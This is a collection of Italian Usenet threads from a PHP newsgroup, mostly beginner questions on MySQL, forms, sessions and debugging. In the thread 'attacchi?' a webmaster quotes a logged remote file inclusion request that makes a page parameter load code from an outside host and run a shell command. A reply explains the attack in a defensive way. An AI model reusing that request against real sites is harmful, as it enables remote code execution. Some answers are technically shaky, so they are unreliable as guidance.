mii-community/UsenetArchiveIT-conversations huggingface dataset:
Newsgroup: it.comp.www.php
Titolo: Indice con autoincremento: qual'è il prossimo?

Devo inserire dei dati in un db MySQL e nel farlo vorrei sapere quale valore
assumerà l'indice ID. Come posso fare?
Grazie
Marco

 ha scritto nel messaggio
news:Irgr8.124233$1S3.3...@twister1.libero.it...

select  max(id)+1 AS prossimo from tabella

 ha scritto nel messaggio
news:a8k5to$svru3$1...@ID-136508.news.dfncis.de...

Un problema della tua soluzione è che non necessariamente il prossimo indice
sarà uguale al massimo valore di id +1 (potrebbe essere stato cancellato
qualche record nel mezzo), a meno che io non possa imporre tale valore. Se
quest'ultima soluzione è possibile, come posso fare? Non riesco a nidificare
un INSERT con un SELECT nei valori! Forse è colpa mia, che non ho capito il
tuo aiuto!
Grazie
Marco

 ha scritto nel messaggio
news:9xhr8.124617$1S3.3...@twister1.libero.it...

il prossimo id è cmq il massimo + 1, cioè se hai una sequenza 1,2,3,5,6 il
prossimo sarà comunque 7 - almeno credo
però non capisco il problema del nidificare l'inert con il select...
in un normale insert l'autoincrement fa il suo lavoro senza che te ne
preoccupi...
a meno che non devi fare un insert o update su una tabella che contiene una
referenza a un id autoincrement di una tabella che hai appena cambiato, nel
qual caso dovresti usare mysql_insert_id

 select  max(id)+1 AS prossimo from tabella
E' valido se non ci sono inserzioni nel frattempo (quindi non sul web dove 
non puoi garantirlo)
E poi non è scontato che quando arrivi a inserire il record 1000, se poi lo 
cancelli il prossimo sarà sempre 1000, in alcuni sistemi è 1001 (e il posto 
1000 risulta vuoto).
Sarebbe piu utile se dicesse cosa deve fare perchè non so fino a che punto 
sia necessario.
ciao
-- 
Antonello Pasella

 Antonello Pasella
Non si presentano grossi problemi, perchè una sola persona dovrebbe essere
autorizzata ad inserire tali dati nel db e impongo nell'immissione dati
anche il valore di ID precedentemente calcolato.
Cmq, mi serve per creare un riferimento ad un immagine: vorrei far sì che
l'immagine collegata al record con ID 77 abbia nome img00077.jpg. Seguendo
il consiglio di cui sopra, tutto sembra funzionare egregiamente. Esistono
soluzioni migliori?
Grazie
Marco

Newsgroup: it.comp.www.php
Titolo: convertire stringa di caratteri in numero, e numero in stringa di caratteri

$percorso = "C:\cartella\nuova cartella\file.txt";
$numero = funzione ($percorso);
$percorsoi = de_funzione ($numero);
per fare una cosa del genere che funzione devo usare o che ci metto?
grazie 1000.


un loop e usando ord() e chr()
Ti serve per qualcosa di speciale? Perche' ci sono metodi gia' pronti per
fare codifiche di stringhe (urlencode, rawurlencode, base64_encode ecc.)
Attenzione il tuo percorso deve essere scritto cosi:
 $percorso = "C:\\cartella\\nuova cartella\\file.txt";
\n come in \nuova cartella viene interpretato come newline e' chiaramente
dara' fastidio quando lo usi.
Newsgroup: it.comp.www.php
Titolo: PHP , MD5 ed errore HTTP 500

Ciao a tutti,
avrei bisogno di una mano per un problema che mi ha bloccato.
Sistema operativo WinXP e EasyPHP 3 per testare il sito che sto sviluppando 
per divertimento (sono alle prime armi)
La classica tabella utenti memorizzata su database mysql.
Inserisco l'utente
INSERT INTO utenti (username, password) VALUES 
('nomeutente',MD5('passworddellutente'));
Fin qui tutto bene, il problema nasce quando prima di aprire una pagina 
cerco di fare l'autenticazione:
Recupero dal data base il campo password dell'utente e faccio il confronto:
if (md5($passwordinserita) == $passwordrecuperatadaldatabase)...
a questo punto il browser mi ritorna l'errore http 500 server internal 
error...
Dove sbaglio?
Ciao e grazie 

 l'errore http 500 server internal error...
500 e` un errore fatale del server, non puo` dipendere da una funzione 
chiamata male.
Significa che probabilmente la libreria che implementa l'md5 in php e` 
rovinata o compilata male, e l'interprete PHP crasha.
Io lascerei perdere EasyPHP e installerei le varie componenti (Apache, 
PHP, MySQL, ecc.) a mano. Ma su questo non ti so aiutare perche` non uso 
Windows.
Bye.

 error...
Con IIS hai questo errore anche quando c'e' un errore fatale di PHP.
Ti conviene o abilitare la visualizzazione a video degli errori/warning oppure
abilitare il logging su file.
Ciao,
luigi
-- 
/
+--[Luigi Rosa]--
\
He was so narrow minded he could see through a keyhole with both eyes...

> Dove sbaglio?
Non sono espertissimo ma sull'help di php alla voce MD5 c'è un esempio 
che mette 3 uguali:
<?php
$str = 'apple';
if (md5($str) === '1f3870be274f6c49b3e31a0c6728957f') {
     echo "Would you like a green or red apple?";
     exit;
}
?>
Ciao.

 3 uguali
== uguale
=== identico
Serve per confrontare anche il tipo, tra le altre cose.
Enrico

 === identico
Grazie!
Ma uhm... mi spieghi nella pratica cosa cambia tra uguale e identico? 
Non sono sinonimi uno dell'altro? Almeno in italiano:
http://demauroparavia.it/19786/identico

 
http://demauroparavia.it/19786/identico
PHP != Italiano  :)
Ciao,
luigi
-- 
/
+--[Luigi Rosa]--
\
USENET would be a better laboratory is there were more labor and
less oratory.
    --Elizabeth Haley

 Non sono sinonimi uno dell'altro? Almeno in italiano:
Non puoi mettere in relazione i termini di un linguaggio formale con 
quelli di uno naturale, devi aprire la documentazione del linguaggio e 
controllare.

Newsgroup: it.comp.www.php
Titolo: Function

E' possibile dichiarare delle funzioni in php senza ripetere del codice
utile in più punti? Tipo "function getVal: boolean;"
Grazie.
Newsgroup: it.comp.www.php
Titolo: aiuto ! problemi con formulari

    salve!
cerco una possibilita di inviare un formulare giá scritto (html) via php.
voglio evitare la finestra che si apre dopo aver premuto il button di invio
che informa l´user di star per mandare un mail.
un idea?
thx

 wrote in message
news:9obfkn$o1l$06$1...@news.t-online.com...

-----= Posted via Newsfeeds.Com, Uncensored Usenet News =-----
http://www.newsfeeds.com
 - The #1 Newsgroup Service in the World!
-----==  Over 80,000 Newsgroups - 16 Different Servers! =-----



Non farla mandare all'user; mandala dal server.
Leonardo
-- 
Nior thainig ar major i dtus an lae chugainn,
is ni rabhamar fein ann i gcoir na gceart
ach mar sheolfai aoireacht bo gan aoire,
ar thaobh na greine de Sliabh na mBan.

Newsgroup: it.comp.www.php
Titolo: Parametri di un'applet

Ho un'applet per una slideshow con una applett.
Questa applet come parametri prende dei valori che devo aggiungere
manualmente.
I due parametri sono nome e posizione dell'immagine.
Il nome deve essere image0, image1, image2 ecc....
Dal momento che vorrei usarlo su un database volevo chiedere se esiste
il modo di inserire dinamicamente questi parametri.
Io ho provato così ma non va una mazza:
..........
$aa == -1;
while ($row = $db->sql_fetchrow($result)) {
$aa ++;
$content .='<applet code=Gallery archive=gallery.jar width=300
height=400 name=gallery1>
<param name="image"' . $aa . '" value="' . $row["filepath"] .
$row["filename"] . '>
</applet>
</td>';
}
...
...
Poi non capisco perchè $aa non riesce mai ad essere 0 ma 2!!
Ringrazio anticipatamente per qualsiasi aiuto.
Alverman

 Ho un'applet per una slideshow con una applett.
ROTFL :-)

 Poi non capisco perchè $aa non riesce mai ad essere 0 ma 2!!
Non so come si utilizzino le applet, ma posso dirti che $aa non è mai
zero perché prima del ciclo tu non lo inizializzi, come pensi, a -1, ma
semplicemente lo confronti inutilmente con -1. Devi utilizzare l'uguale
singolo ($aa = -1).
Se non ricordo male, gli interi vengono automaticamente inizializzati a
zero.
HTH,
-- 
[ Andrea Spadaccini - a.k.a. Lupino/Lupin85 - Catania - ICQ#: 91528290 ]
[ GPG ID: 5D41ABF0 - key @ 
pgp.mit.edu
 - Slackware 10.1 w/Linux 2.4.22 ]
[ Linux User # 313388 - MAIL: a.spadaccini(at)catania(dot)linux(dot)it ]

Newsgroup: it.comp.www.php
Titolo: [Semi OT] Eclipse PDT e Ganymede

Ho aggiornato da Eclipse Europa ad Eclipse Ganymede (Debian Etch).
L'aggiornamento è stato fatto 'di brutto', cioè sovrascrivendo la 
vecchia dir eclipse.
Funziona, ma non riesco a creare progetti PHP (non è disponibile la 
prospettiva) o Database Explorer.
Se vado in 'Software updates' mi dice che è già installato (infatti 
compare nell'elenco).
Ho provato ad avviare con 'eclipse -clean' ma non è cambiato molto...
Qualcuno ha esperienze in materia?
Andrea



Credo che con ganimede devi usare pdt 2.0, ma so aiutarti di più. Io 
aspetto dicembre per il rilascio stabile.
Ciao

> Credo che con ganimede devi usare pdt 2.0, ma so aiutarti di più. Io
NON so aiutarti di più.
scusa, ciao
Newsgroup: it.comp.www.php
Titolo: Multiutenza DB Access

Ciao a tutti,
ho un database Access dove ogni giorni vengono registrati centinaia di dati.
Adesso ho la necessità di lavorare in intranet su questo db e ovviamente uso
il PHP.
Mi domando se Access supporta la multiutenza e, se si, quanti utenti
contemporaneamente?
Grazie,
Michele
--------------------------------
Inviato via 
http://usenet.libero.it

 contemporaneamente?
Non la supporta essendo un... file...
Da 20 utenti in poi sei in pericolo autodistruzione.
Ciao,
	Nicholas

 wrote in message
news:b6blv1$1h1$2...@newsread.albacom.net...

MySQL durante i crash e i comparison test con gli altri DBMS da a 65 come
max utenti connessi per Access. E poi che c'entra se è un file o no?

 max utenti connessi per Access. E poi che c'entra se č un file o no?
 
I database file-based non sono adatti ad applicazioni multiutente, e da
quel che so 65 utenti contemporaneamente Access se li sogna di notte:
credo che Microsoft garantisca per circa 20 utenti, poi č il caso.
Genericamente tutti i db file-based sono adatti a piccole applicazioni
possibilmente monoutente, i database server ne supportano molti di piů,
proprio grazie alla loro architettura. MySQL dovrebbe tenere 1000 utenti
su Linux, da quel che ricordo.
Ciao,
	Nicholas

 :
[...]
credo che Microsoft garantisca per circa 20 utenti, poi è il caso.
Genericamente tutti i db file-based sono adatti a piccole applicazioni
possibilmente monoutente, i database server ne supportano molti di più,
proprio grazie alla loro architettura. MySQL dovrebbe tenere 1000 utenti
su Linux, da quel che ricordo.
Ciao,
Nicholas
___________________________________________________
Quella che descrivi è la differenza tra database desktop (come Access,
orientati ad un ristretto numero di utenze) e database server (come MySQL,
orienti ad un ampio numero di utenze).
Per quanto concerne il numero massimo la cosa è analoga alla velocità
massima di un'automobile: quella dichiarata dalla casa costruttrice è sempre
difficilmente raggiungibile...
Per il resto si fa riferimento alla documentazione.
Giacomo.


mi pare una risposta da libercolo universitaro che non dice nulla ... (scusa
se mi permetto) visto che posti pure con ing. davanti (e qui credo che siamo
in diversi che si esce di li :)) )
la domanda mi pare piu' specifica ... cioe' che numero esatto viene dato per
supportato ?
allora access da qualche parte ho un manuale mi pare che garantisce 5
accessi concorrenti ... a 20 bhu ....
mysql oltre 1000
il fatto che sia in un file o meno vuol dire tutto e non vuol dire nulla ...
concettualmente l'accesso a un db su file non differisce molto dall' accesso
a mysql ...
praticamente c'e' un abisso (lettura / scrittura / sincronizzazione ) in un
file con relativo accesso al disco ... ne seguono le owie conclusioni e
differenze tra db server e db desktop.
cmq realisticamente se hai diversi accessi ( > 10  ) concorrenti escludi
access.
Ciauz :)

[snip] 
La mia risposta è anche una FAQ di i.c.s.d., la prossima volta mi
ricorderò di dare semplicemente un link. 
 
Saluti,
	Nicholas
Newsgroup: it.comp.www.php
Titolo: non so metterlo in internet

ragazzi io sono un principiante e ho provato a fare il mio primo portale con
envolution testarlo su lycos ma perche dopo che ho creato il database con
envolutiion l'index.php e questo??
http://utenti.lycos.it/scobru/envo12/index.php


Perchè, scusa, cosa dovrebbe essere?
Ciao
Marco

 ha scritto nel messaggio
news:b9634v$4tb$1...@newsreader.mailgate.org...

Senza tutti qui simboli dovrebbe essere con un menu al tipoi
www.envolution.it

 
www.envolution.it
Hai mai sentito parlare di dominio di secondo livello? Immagino di no.
Innanzitutto http:// indica il protocollo che si sta utilizzando. Fa parte
integrante dell'indirizzo web. Il fatto che IE lo aggiunga in automatico non
implica che sia facoltativo.
Inoltre un dominio di secondo livello (
www.tuonome.it
) va registrato presso
il NIC e si paga.
Ciao
Marco

 ha scritto nel messaggio
news:b964c4$6t2$1...@newsreader.mailgate.org...


 grafica e come quella di envolution scusa tu come la vedi??
Scusa, ma allora non ho capito il tuo problema.
Se hai testato il tutto in locale, basta che prendi i file e li trasferisci
via FTP sul server.
E poi trasferisci anche il db: fai il dump da locale e lo metti sul server
attraverso phpmyadmin.
Ho dato un'occhiata al tuo url e c'è qualche grosso problema.
Il file index.php non è corretto; la sintassi è monca, mancano dei pezzi.
Sei sicuro di averlo uppato bene?
Infine, lycos non ti da un dominio, ma uno spazio web, con supporto php e
mysql.
Il tuo indirizzo sarà comunque lungo.
Ciao
Marco


Controlla bene tutte le aperture e chiusure dei tag php (<? ?>)
da un'occhiata sommaria che gli ho dato mi sembra che qualche cosa sia 
sbagliato ;)
forse facendo l'upload dei file ti sei sbagliato o il file si è corrotto
Ciao ciao
Newsgroup: it.comp.www.php
Titolo: Vedere chi è on-line e Sessioni

Mi chiedevo come posso fare per visualizzare chi degli utenti iscritti č
on-line.
Ho un'area riservata alla quale accedono gli utenti riservati dopo essersi
loggati tramite classico form.
Se il tutto ha avuto esito positivo registro la seguente sessione:
session_start();
session_register("utente");
Cosa devo fare chiamare la sessione con l'id univoco dell'utente?...credo di
non capirci granchč chi mi illumina, perfavore?

 session_register("utente");
Al posto di session_register utilizza $_SESSION
(
http://www.php.net/session_register
)
-- 
I'am what I'am, I do what I can
Sei un newbie? Leggi questo 
http://url.repository.biz/go/1

..grazie Setec, sei sempre uno dei primi!
Ormai il Natale č passato, vediamo come va quest'anno..Se sarai sempre
presente come fin'ora organizzo io per fare un bel regalo a te e Jurgen! :-P
Ora ci guardo subito! Grazie ancora!

Newsgroup: it.comp.www.php
Titolo: cercare parola in una pagina web

Salve a tutti,
ok, l'oggetto non ï¿œ proprio chiaro, ma faccio un esempio:
ho una pagina web che rappresenta una scheda utente
nella quale c'ï¿œ anche il campo FAX: XX YYYYYYY
dove le X sono il prefisso e le Y il numero di fax.
finora apro la pagina web con file_get_contents e ne faccio
l'echo, ma ottengo tutti i dati (nome, tel, fax, etc...)
ma come fare per cercare la stringa "FAX:" e tutto ciï¿œ che viene dopo?
vorrei realizzare un file .txt dei numeri fax dell'intranet
aziendale.
Avete suggerimenti in merito?
Qualche riferimento a funzioni PHP?
Ho visto un po' di tutorial su google, ma nessuno parla dell'estrazione
di un dato.
Ringrazio chiunque mi indirizzi su una strada giusta.
Franz

 ma come fare per cercare la stringa "FAX:" e tutto ci� che viene dopo?


 ma come fare per cercare la stringa "FAX:" e tutto ciï¿œ che viene dopo?
O usi le RegEx (
http://www.php.net/manual/en/book.regex.php
) o usi DOM
(
http://www.php.net/manual/en/book.dom.php
).
Ciao,
luigi
-- 
/
+--[Luigi Rosa]--
\
Philosopy: unintelligible answers to insoluble problems.

 Leonardo
no, non posso accedere al DB. E' una cosa mia per farmi
una rubrica.
Do in pasto allo script l'url della scheda utente che ï¿œ tipo:
192.168.6.6/istituzionale/scheda_utente.asp?utente=14
e ricavo l'output (ovvero tutto il contenuto della pagina)
con
NOME:
COGNOME:
TEL:
FAX:
SETTORE:
Io vorrei solo recuperare i numeri di fax dal campo FAX:
Franz

 Do in pasto allo script l'url della scheda utente che � tipo:


 accodandoli via, via.
e' quello che ho fatto.
La parte complessa per me ï¿œ estrarre il dato.
Comunque credo di aver risolto. Se va tutto bene, posto il codice.
Franz
Newsgroup: it.comp.www.php
Titolo: diversi problemi (neofita)

Mi sono messo in testa di imparare PHP, ho installato una comunissima
Mandrake 9.1 con Apache, MySQL e PHP in "dotazione" nei 3 CD.
Sono riuscito a fare integrare bene i miei primi script con MySQL, ma alcuni
esempi che ho trovato in rete proprio non vanno.
Questo è il primo:
<?php
  if (!isset($_SERVER['PHP_AUTH_USER'])) {
    header('WWW-Authenticate: Basic realm="Il mio realm"');
    header('HTTP/1.0 401 Unauthorized');
    echo 'Messaggio da inviare se si preme il tasto Cancel';
    exit;
  } else {
    echo "<p>Ciao {$_SERVER['PHP_AUTH_USER']}.</p>";
    echo "<p>Hai inserito {$_SERVER['PHP_AUTH_PW']} come tua password.</p>";
  }
?>
Preso da: 
http://it.php.net/manual/it/features.http-auth.php
Nelle note ho trovato questo:
"Nota sulla Configurazione: PHP usa la presenza di una direttiva AuthType
per determinare se viene utilizzata l'autenticazione esterna. Evitare
questa direttiva nel contesto dove si intende usare l'autenticazione con
PHP (altrimenti ogni tentativo di autenticazione fallirà)."
Ora vi chiedo dove si va a modificare questo parametro... spesso trovo in
rete riferimenti al file php.ini che non ho... dove sono mantenute allora
le informazioni di configurazione di PHP ???
Altro esempio:
file aut.php:
<FORM ACTION="main.php" METHOD="post">
Inserire password:<BR>
<INPUT TYPE="password" NAME="pwd" SIZE="20" MAXLENGTH="30"><BR>
<INPUT TYPE="submit" VALUE="ENTRA">
</FORM>
file main.php
<?php if ((isset($pwd)) AND ($pwd=="pass128")): ?>
<p>prova riuscita</p>
<?php else: ?>
<p>sei fuori</p>
<?php endif; ?>
In pratica non viene passata la variabile... ho provato anche con il metodo
GET... stessa cosa. Dove può essere il problema????
Alex Ambro

 le informazioni di configurazione di PHP ???
Il file php.ini lo trovi in /etc
ciao
Mauro

Purtroppo non ci sta.... l'ho cercato in ogni partizione.... non esite
nessun php.ini sul mio PC.
Alex Ambro


 
Allora hai toppato qualcosa di grosso nella installazione.
Cerca in /usr/share/doc/php dovrebbe esserci un php.ini.dist copialo 
cambiandogli nome in /etc/php.ini e modifica quello che ti serve.
Una curiosita':
che output di da questo programma?
<?
phpinfo();
?>
Tra le altre info ti deve dare il
Configuration File (php.ini) Path
lo trovi nella sesta riga della prima tabella.
ciao
Mauro

 
Mi da /etc
ma di fatto non ci sta. Ho una directory /etc/php dove ci sono tre files:
23_gd.ini
34_mysql.ini
41_readline.ini
ho trovato questo:
/usr/share/doc/libphp_common430-430/php.ini-recommended
l'ho rinominato in php.ini e messo in /etc ma sembra che non sia cambiato
nulla.
Alex Ambro

Ora ho riavviato il sistema e sembra funzionare tutto
Alex Ambro (ex Tux... per sbaglio)

Newsgroup: it.comp.www.php
Titolo: riga di comando con opzioni obbligatorie

Molti di voi conosceranno la libreria Console_CommandLine; ecco un 
esempio di utilizzo
 
$parser = new Console_CommandLine(array(
     'description' => 'zip given files using the php zip module.',
     'version'     => '1.0.0'
));
 
// add an option to make the program verbose
$parser->addOption('verbose', array(
     'short_name'  => '-v',
     'long_name'   => '--verbose',
     'action'      => 'StoreTrue',
     'description' => 'turn on verbose output'
));
 
// add an option to delete original files after zipping
$parser->addOption('logs_dir', array(
     'long_name'   => '--logs-dir',
     'action'      => 'StoreString',
));
 
// add the files argument, the user can specify one or several files
$parser->addArgument('files', array(
     'multiple' => true,
     'description' => 'list of files to zip separated by spaces'
));
 
// add the zip file name argument
$parser->addArgument('zipfile', array('description' => 'zip file name'));
 
// run the parser
try {
     $result = $parser->parse();
     // write your program here...
     print_r($result->options);
     print_r($result->args);
} catch (Exception $exc) {
     $parser->displayError($exc->getMessage());
}
 
 
Bene ok. Ma una domanda: Si può fare in modo che l'opzione 'logs_dir' 
sia obbligatoria?
Cioè che se non specificata venga generato un apposito errore?

sia obbligatoria?
 
Dovrebbe esserlo già. Per default, argument_optional è false.
 
Leonardo
-- 
 
A terrible beauty is born.
                                     - W. B. Yeats, Easter 1916


 
alla fine mi serviva un comando (addCommand()) non un'opzione, grazie 
comunque

 comunque
 
E gira e rigira sto constatando che l'opzione obbligatoria invece mi 
serve anche.
Ecco l'esempio di riga di comando:
 
php mio_script_eseguibile.php copy /dir1 /dir2 --logs-dir=/logs
 
Come vedete c'è:
- il comando: copy
- i parametri: /dir1, /dir2
- l'opzione: --logs-dir, che però deve essere specificata obbligatoriamente.
Se non viene specificata vorrei che quindi venga generato un apposito 
errore (cosa che non accade).
Come fare?
Newsgroup: it.comp.www.php
Titolo: Cosa hanno utilizzano nel nuovo webmail di yahoo?

Cosa hanno utilizzato nel nuovo webmail di Yahoo?
Ciao by Enzo

 Cosa hanno utilizzato nel nuovo webmail di Yahoo?
Ajax?
Cla!
-- 
docebo.org
 [Open source CMS and e-learning]
docebo.com
 [My company]
claudioerba.com
 [My Site]
Non sono eterno, prendete appunti

 
Con un framework specifico, quale?
Ciao by Enzo
P.S. esiste qualche stralcio di codice?

 
che è un gioco a quiz? :D
Newsgroup: it.comp.www.php
Titolo: passaggio variabili

Ciao a tutti!
    A quanto pare questa settimana deve proprio finire in bellezza...
Devo passare il valore di una select (avete presente il tag SELECT ? ... no,
era per non far confusione...) ad un'altra pagina.
Sarà che siamo al fine settimana...sarà che sono incapace io, ma non ci
riesco proprio...
Per passare tutti gli altri valori alla pagina uso una sintassi del genere
(HTML):
 <a href="invio_collaborazione.php?cod_app=<?php print $cod_app;
?>&agenzia_mitt=<?php print $agenzia_mitt; ?>&tipologia=<?php print
$tipologia; ?>&citta=<?php print $citta; ?>&prov=<?php print $prov; ?>">
...in mezzo a tutti questi altri valori, dovrei passare anche il valore
della select.
Si lo so che sembra criptica, ma se la si legge con un pò di calma si
capisce tutto.
Ad ogni modo se qualcuno ha un suggerimento migliore sono tutto orecchi!
Buon fine settimana a tutti!

 $tipologia; ?>&citta=<?php print $citta; ?>&prov=<?php print $prov; ?>">
Perchè fai questo pasticcio?
Utilizza un form e passa i valori con GET o meglio POST.
Semplificati la vita.
-- 
Domenico Testa - Studente


Usando le funzioni MySQL di PHP, avrai qualche cosa del genere:
<code>
  $query = "SELECT colonna1, colonna2 FROM table WHERE colonna1 = 'valore'";
  $result = mysql_query($query);
  $row = mysql_fetch_array($result);
</code>
A questo punto hai l'array '$row', all'interno del quale avrai gli elementi:
  $row["colonna1"]
  $row["colonna2"]
che contengono i valori delle diverse colonne della tua tabella.
Puoi dunque scrivere:
<a href="invio_collaborazione.php?colonna1=<?= $row["colonna1"] ?>">
HTH, ciao!
Silvio Porcellana
Senior Programmer
-----------------------------------------------------------------------------------
Trovanome.it - 
http://www.trovanome.it
Se non vuoi essere solo un numero...hai bisogno di un nome!
-----------------------------------------------------------------------------------
--------------------------------
Inviato via 
http://usenet.libero.it

 $tipologia; ?>&citta=<?php print $citta; ?>&prov=<?php print $prov; ?>">
scusa ma se apri la modalita' php prima e usi il print rendi tutto piu'
semplice, oppure usa un form
<?php print "invio_collaborazione.php?cod_app=".
$cod_app."&agenzia_mitt="[..cut..]$prov".$prov ; ?>
ciao

Mi pare perň che nessuno ti abbia risposto davvero:
<select name="saluto">
<option value="ciao">Ciao</option>
<option value="buonasera">Buonasera</option>
</select>
nella pagina dovrai solo aggiungere un &saluto=<?php print ($saluto);?> a
tutto il resto della 'query string'
Se mi permetti una semplificazione, ricorda che scrivere
<?php print ($saluto); ?>
puň essere 'riassunto' nel meta-comando
<?=$saluto;?>
che č piů facile da leggere e piů breve da scrivere
Ciao
Julien
Newsgroup: it.comp.www.php
Titolo: Capital..

Sono convinto di aver visto una funzione che trasforma una stringa tutta in
maiuscolo o in minuscolo , ecc.A me interesserebbe quella che trasforma una
din maiuscolo.So che posso farlo con i fogli di stile ma mi sono antipatici,
meno ne uso meglio è.
Già che ci sono chiedo n'altra cosa...OT.
Ho fatto uno script di controllo dati immessi in un campo testo in
javascript, codesto script funziona se clicco il bottone col mouse e non
funziona se do invio!!Esiste una forte possibilità che l'errore sia mio in
fase di sviluppo, ma magari non è così.Sapete aiutarmi?
tnx tnx tnx
anakin

 wrote in message
news:4RcP6.792$zb1....@news.infostrada.it...


Innanzi tutto ti ringrazio per le funzioni...per l'altro argomento
"OT"...facendo dei controlli con PHP devo caricare la pagina successiva o
ricaricare la pagina prima di accorgermi dell'errore...JS era comodo solo
perché più rapido e anche più scenografico eheheh...cmq seguirò il tuo
consiglio!!!
Ciaooo
Anakin

Newsgroup: it.comp.www.php
Titolo: problema con join

if($country) $allcount= join("','",$country);
if($finterests) $allint= join("','",$finterests);
Warning: join(): Bad arguments. in
/home/mhd-03/
www.paytopromote.com/htdocs/xxxxxxx/massemailer.php
 on line 88
Warning: join(): Bad arguments. in
/home/mhd-03/
www.paytopromote.com/htdocs/xxxxxx/massemailer.php
 on line 89
come mai mi segna come ba arguments il comando join???

 if($finterests) $allint= join("','",$finterests);
if (isset ($country) && is_array ($country)) {
	$allcount = implode ("','", $countr);	
} else {
	$allcount = '';
}
if (isset ($finterests) && is_array ($finterests)) {
	$allint = implode ("','", $finterests);	
} else {
	$allint = ''; 
}
-- 
I am what I am, I do what I can
Sei un newbie? Leggi questo 
http://url.repository.biz/go/3C
Vuoi supportarmi? 
http://url.repository.biz/go/3E
Do. Or do not. There is not try.
Newsgroup: it.comp.www.php
Titolo: Help funzioncina

Salve a tutti, purtroppo riposto il messaggio in quanto continua a non
funzionare e non da alcun errore.
Allora io ho una pagina php con un menu
a tendina, in questo menu e possibile scegliere un
listino di vendita; una volta selezionato un elemento della
tendina, cliccando su via, del codice php dovrebbe eseguirmi
un'altra funzione,il problema e compare sempre la scritta "prego..."
------------------------------------------------------------------
     <form action="listini.php" method="post">
      Scegli il listino:
      <select name="listino" size="1" id="listino">
                    <option></option>
                    <option>Listino4</option>
                    <option>Listino Rovigo</option>
                    <option>Listino Verona</option>
            </select>
           <input name="bottone" type="submit" class="captioncredit"
value="Vai">
        </form>
     ...
...
    <!--Vengono visualizzati i vari listini-->
                <?php
     if ($_GET['listino']="")
      echo"Prego selezionare un tipo di listino";
     else
     if ($_GET['listino']=="Listino4"){
//funzione di programma che stampa da un documento(funzionante)
         $category = "4";
         $template = "num_index";
         include("phpfunct/mostra_news.php");
  }
      ?>
----------------------------------------------------------------------
Grazie a chiunque sapra illuminarmi,
Roberto

     if ($_GET['listino']="")
if ($_GET['listino']=="")
Altrimenti è sempre vera ;-)
Ciao
Francesco Mazzi
Webmaster di AltroPC.it - 
http://www.altropc.it
 
Project Admin di "PHP Reservation - Online booking system" - 
http://phpreservation.sourceforge.net
Dev.Staff di E-Xoopport - 
http://dev.e-xoopport.it

 ha scritto nel messaggio
news:hf75m014f41429len...@4ax.com...


 ha scritto nel messaggio
news:jbx8d.25837$H11.8...@twister1.libero.it...


il problema secondo me č che non mi piglia la selezione
Che stupido, me ne sono accorto solo ora! Invii i dati tramite form
con metodo POST e poi cerchi di accedere alle variabili tramite GET,
capito l'errore?


 ha scritto nel messaggio
news:f685m0das9r2dn1qq...@4ax.com...

Newsgroup: it.comp.www.php
Titolo: attacchi?

Salve,
ho già postato su it.lavoro.professioni.webmaster ma potendo essere
una questione di php riposto il messaggio qui, non voliatemene.
Tra i visitatori del mio sito vedo che ci sono alcuni che da qualche
host tipo:
net-216-37-76-63.in-addr.worldspice.net
server11.fastbighost.com
adsl-ull-92-149.44-151.net24.it
richiedono la pagina:
http://www.miosito.it/index.php?pagina=http://tillo.zapto.org/include/functions.inc.php&cmd=echo${IFS}jSVowMsd
;
Ma che è?
Il mio sito in effetti è fatto con index.php?pagina=valore e con uno
switch su pagina carico il modulo corrispondente (che non è
valore.php), ma come mai quella cosa? Comunque pagina deve avere
alcuni valori predefiniti, altrimenti (default) carica l'homepage.
Attacchi?
Qualcuno mi chiarisce la cosa?
Grazie
-- 
Per rispondermi togli il cappello

 Grazie
Dovresti disabilitare l'inclusione di file remoti. Stanno cercando di
includere quella pagina(che contiene un system($cmd)) per eseguire quello
che c'è in cmd(sempre nella url).
In php.ini dovrebbe esere allow_url_fopen se non sbaglio....
ciao
Newsgroup: it.comp.www.php
Titolo: Memorizzare un datetime

 |
| Delete WORLD to reply        |
|                              |
| Software is like sex...      |
| It's better when it's free.  |
+------------------------------+

 UPDATE tabella SET Data=???? WHERE ecc....
ciao, in genere non creo un campo DATETIME, bensi un campo INT(10) e ci
butto dentro il timestamp, ottenuto con la funzione time() in PHP.
Se non erro il timestamp è il numero di secondo intercorsi dal 1/1/1970 0:00
fino al momento in cui tu richiami la funzione time().
Naturalmente tramite la funzione date() puoi formattare poi il timestamp
come meglio credi.

Newsgroup: it.comp.www.php
Titolo: PHP, gestione versioni (per più programmatori)

Salve,
conoscete un programma che permetta a più programmatori che lavorano su 
un sito (php+mysql) che permetta in modo semplice (o meno) di non 
pestarsi i piedi sulle modifiche da fare alle pagine?

 pestarsi i piedi sulle modifiche da fare alle pagine?
Parli di un tool di sviluppo (es. Dreamweaver) o di un CMS?
-- 
Vuoi distribuire il tuo sito web su CD/DVD?
Prova 
http://www.dwebpro.com/
Vuoi diventare un esperto analista PHP/MySQL?
Vieni a fare uno stage con noi: 
http://www.creativepark.it/stage/

 
Un CMS da mettere su server.

 
Un qualcosa simile a Subversion che però non capisco come si possa 
caricare sul server...

 caricare sul server...
Prima hai scritto un CMS ed ora "un qualcosa simile a Subversion".
Potresti cercare di spiegarti meglio?




per "programmatori" intendi gente che mette mano al codice php o gente
che deve creare contenuti sul sito? Nel primo caso ti serve un CVS o
subversion, nel secondo un wiki o un CMS. C'e' abbondanza di scelta di
eccellenti strumenti free in entrambi i casi.
bye!

 caricare sul server...
se non lo sai.... sallo!
cos'ha subv che non va bene?

 ha scritto nel messaggio 
news:48c6d8c7$0$11385$5fc...@news.tiscali.it...

Potresti usare bugzilla come bug tracker
Per comunicazioni, assegnazioni compiti, bug etc.
http://www.bugzilla.org/
Aggiungere i vari addon tipo integrazione wiki, irc, svn etc ... è in base 
ai gusti. Oltre ai programmi lato client per velocizzare le comunicazioni!
https://wiki.mozilla.org/Bugzilla:Addons
Altrimenti se vuoi usare qualcosa specifico di in php ci sono tanti altri 
progetti ma meno aggiornati continuamente come il precedente
http://www.mantisbt.org/
http://workbench.sourceforge.net/
http://buglist.sourceforge.net/
http://freshmeat.net/projects/bugzero/
http://freshmeat.net/projects/siteforge/
http://freshmeat.net/projects/phpprojmaster/
o qualsiasi altro sistema di groupware con sezione dedicata al bug tracking 
ed assegnazione compiti
A parte questo dovresti installare un sistema SCM/VCS/RC
qui trovi una tabella comparativa
http://en.wikipedia.org/wiki/Comparison_of_revision_control_software
Il più in voga è SVN, il più conosciuto era CVS ma attualmente è leggermente 
peggiore.
Se non sai come installare le cose .... puoi leggere la documentazione 
oppure le guide che si trovano facilmente su internet. Non ci sono 
particolari difficoltà ed esistono in diversi casi installer che fanno quasi 
tutto ... (anche per sistemi *unix).
